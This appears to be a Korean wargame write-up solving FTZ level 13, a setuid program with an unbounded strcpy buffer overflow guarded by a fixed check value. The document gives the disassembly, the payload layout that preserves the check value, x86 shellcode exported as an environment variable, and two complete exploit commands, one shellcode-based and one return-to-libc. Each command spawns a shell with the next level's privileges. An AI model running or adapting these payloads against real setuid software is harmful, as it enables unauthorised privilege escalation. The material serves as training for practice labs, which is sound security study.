FTZ level 13
문제
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
level13의 소스코드이다. 여기서 취약한 점을 찾아 상위권한 (level14)의 권한을 획득해야 한다.
취약점
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
#setreuid( 3094, 3094 );
#if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
#printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
- buf의 크기는 1024이다.
- strcpy()함수를 이용하여 argv에서 받은 인자를 buf에 옮겨간다.
- argv의 인자 크기에 제한은 없다.
- 따라서 argv에 1024byte 이상의 문자열을 입력하면 buf를 넘어 메모리를 덮어씌울 수 있다.
여기까지는 똑같으나, level13에서는 전과 다르게 메모리가 덮어씌워졌는지 안씌워졌는지 검증하는 부분이 있다.
- i = 0x1234567 이다.
- i 가 0x123456 이 아니라면 프로그램을 종료시킨다.
따라서 이 부분을 주의해서 버퍼오버플로우를 발생시켜야 한다.
풀이 ( 환경변수 )
(gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>: push ebp
0x080484a1 <main+1>: mov ebp,esp
0x080484a3 <main+3>: sub esp,0x418
0x080484a9 <main+9>: mov DWORD PTR [ebp-12],0x1234567
0x080484b0 <main+16>: sub esp,0x8
0x080484b3 <main+19>: push 0xc16
0x080484b8 <main+24>: push 0xc16
0x080484bd <main+29>: call 0x8048370 <setreuid>
0x080484c2 <main+34>: add esp,0x10
0x080484c5 <main+37>: cmp DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>: jle 0x80484e5 <main+69>
0x080484cb <main+43>: sub esp,0x8
0x080484ce <main+46>: mov eax,DWORD PTR [ebp+12]
0x080484d1 <main+49>: add eax,0x4
0x080484d4 <main+52>: push DWORD PTR [eax]
0x080484d6 <main+54>: lea eax,[ebp-1048]
0x080484dc <main+60>: push eax
0x080484dd <main+61>: call 0x8048390 <strcpy>
0x080484e2 <main+66>: add esp,0x10
0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567
0x080484ec <main+76>: je 0x804850d <main+109>
0x080484ee <main+78>: sub esp,0xc
0x080484f1 <main+81>: push 0x80485a0
0x080484f6 <main+86>: call 0x8048360 <printf>
0x080484fb <main+91>: add esp,0x10
0x080484fe <main+94>: sub esp,0x8
0x08048501 <main+97>: push 0xb
0x08048503 <main+99>: push 0x0
0x08048505 <main+101>: call 0x8048380 <kill>
0x0804850a <main+106>: add esp,0x10
0x0804850d <main+109>: leave
0x0804850e <main+110>: ret
0x0804850f <main+111>: nop
End of assembler dump.
(gdb)
attackme에 main 부분이다.
- ebp-1048 에서 복사를 한다.
- ebp-12에서 0x1234567과 비교를 한다.
우리가 볼 부분은 이 정도인 것 같다. 간단하게 그림으로 나타내 보겠다.
메모리 상태를 그림으로 나타내보았다. 이것을 보면 익스코드를 어떻게 짜야하는지 감이 올 것이다.
익스코드
str[1024] + dummy[12] + 0x1234567 + dummy[8] + sfp[4] + ret[&shellcode] 로 짜면 될 것 같다.
[level13@ftz level13]$ export env=$(python -c "print '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'")
환경변수 등록 ( 환경변수 주소 = 0xbfffff57 )
[level13@ftz level13]$ ./attackme `python -c "print 'A'*1036 + '\x67\x45\x23\x01' + 'A'*12 + '\x57\xff\xff\xbf'"`
sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
sh-2.05b$
성공적으로 level14의 권한을 획득 했다.
풀이 ( RTL )
[level13@ftz level13]$ ./attackme `python -c "print 'A'*1036 + '\x67\x45\x23\x01' + 'A'*12 + '\xc0\xf2\x03\x42' + 'AAAA' + '\x52\xfe\xff\xbf'"`
$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
$
똑같은데 ret값을 system()함수의 위치로 바꾸고 return 값에 더미바이트를 채워준 뒤 환경 변수로 올려둔 /bin/bash 문자열의 주소를 구해 적어주면 된다.